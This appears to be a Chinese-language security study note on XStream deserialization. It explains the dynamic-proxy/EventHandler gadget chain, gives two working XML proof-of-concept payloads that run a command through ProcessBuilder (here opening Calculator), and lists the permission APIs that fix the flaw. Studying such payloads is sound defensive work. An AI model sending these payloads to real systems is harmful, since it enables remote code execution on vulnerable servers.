xstream 反序列化
目录
简介
能把java对象从xml反序列化出来,也可以反向操作。
原理
先一言以蔽之:XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象。在反序列化过程中,当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;只需interface标签指向目标程序必然会调用的接口类方法,那么handler指定的类方法(一般为eventhandler类,因为它可以通过内部的反射造成任意方法执行)一定就会被执行从而造成攻击
poc
适用版本 xstream=1.4.10 或小于1.4.6
eventhandler.invoke→eventhandler.invokeInternal→MethodUtil.invoke
在这个调用链中出传入要执行的方法和参数即可,在下面的poc中展示
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
java.lang.Comparable作为一个项目中基本必用到的interfae,自然就放到interface标签里了。
另一个poc 版本:1.4.5,1.4.6,1.4.10
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>-na</string>
<string>Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
修复
若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,建立黑白名单机制进行过滤:
XStream.addPermission(TypePermission);
XStream.allowTypes(Class[]);
XStream.allowTypes(String[]);
XStream.allowTypesByRegExp(String[]);
XStream.allowTypesByRegExp(Pattern[]);
XStream.allowTypesByWildcard(String[]);
XStream.allowTypeHierary(Class);
XStream.denyPermission(TypePermission);
XStream.denyTypes(Class[]);
XStream.denyTypes(String[]);
XStream.denyTypesByRegExp(String[]);
XStream.denyTypesByRegExp(Pattern[]);
XStream.denyTypesByWildcard(String[]);
XStream.denyTypeHierary(Class);
在1.4.10版本之后,XStream提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单,部分白名单是Xstream默认的,用户可以直接调用。
cve速查
官网良心,并给每个cve提供了poc
https://x-stream.github.io/security.html
1.4.18是目前最安全的版本,遇到不用看了——2023.3
关键字
fromXml